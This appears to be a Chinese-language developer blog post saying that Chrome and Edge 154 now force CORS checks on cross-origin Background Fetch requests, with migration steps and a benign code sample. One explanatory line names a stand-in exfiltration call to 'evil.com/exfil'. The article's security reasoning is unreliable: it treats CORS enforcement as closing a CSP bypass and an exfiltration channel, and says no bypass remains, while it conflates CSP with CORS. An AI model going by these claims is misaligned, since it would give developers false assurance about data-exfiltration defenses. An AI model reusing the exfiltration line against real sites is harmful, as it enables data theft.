你以为 CSP 的 connect-src 写严了就高枕无忧？Background Fetch 绕过 CORS 这条通路，Chrome 154 今天把这件事彻底变了

你的 connect-src 写得很严格，外站请求一概拒绝——但 Background Fetch 一直在绕你这条线。

Background Fetch API 是浏览器用来在后台下载大文件的接口：用户关闭标签页，下载继续；网络断了，浏览器自动重试。视频应用，音乐应用靠它实现「下载后离线听」功能。但从 Chrome 154 / Edge 154 开始，这个能力被加了一道锁：所有跨域 Background Fetch 请求现在强制走 CORS 检查，不能再绕道了。

这个改动修复的是一个真实的安全漏洞。在此前版本的浏览器里，Background Fetch 发起的跨域请求不受 fetch() 同等的 CORS 策略约束——换句话说，如果你的站点配置了 Content-Security-Policy: connect-src 'self'，普通的 fetch('https://evil.com/exfil') 会被浏览器拦截；但同一请求通过 Background Fetch 发出，浏览器会放行，服务器也无法通过 CORS 机制拒绝它。这意味着恶意页面可以利用 Background Fetch 在用户不知情的情况下向外部域名发送数据，绕过你精心配置的 CSP 和同源策略。

Chrome 154 和 Edge 154 今天把这条通路彻底焊死了。

修复后的行为：所有跨域 Background Fetch 请求必须携带有效的 CORS 响应头（Access-Control-Allow-Origin 等），否则请求失败。这与普通 fetch() 的安全行为完全对齐，不存在绕过空间。

如果你的应用依赖 Background Fetch 跨域下载资源，需要确保目标服务器配置了正确的 CORS 响应头：

// 修复前：Background Fetch 跨域请求不需要 CORS，任何服务器都可接收
navigator.serviceWorker.ready.then(registration => {
  registration.backgroundFetch.fetch('download-id', [
    'https://cdn.example.com/video.mp4',
  ], {
    title: '下载视频',
    icons: [{ src: 'icon.png', sizes: '256', type: 'image/png' }]
  });
});

// 修复后：目标服务器必须返回 CORS 头
// Access-Control-Allow-Origin: https://your-site.com
// 否则 Background Fetch 请求会在下载阶段直接失败

如果跨域请求在浏览器控制台报 CORS 错误，问题出在服务器端，不在应用代码。迁移步骤：第一，确认所有 Background Fetch 的跨域目标已配置 CORS；第二，如果目标服务器不在你控制范围内，需要通过后端代理中转请求。

下一步： 搜索你项目里所有 backgroundFetch.fetch 调用，检查其中的 URL 是否有跨域场景；如果有，立即确认目标服务器 CORS 配置正确，Chrome 154 / Edge 154 用户会遇到跨域下载失败的概率会大幅上升。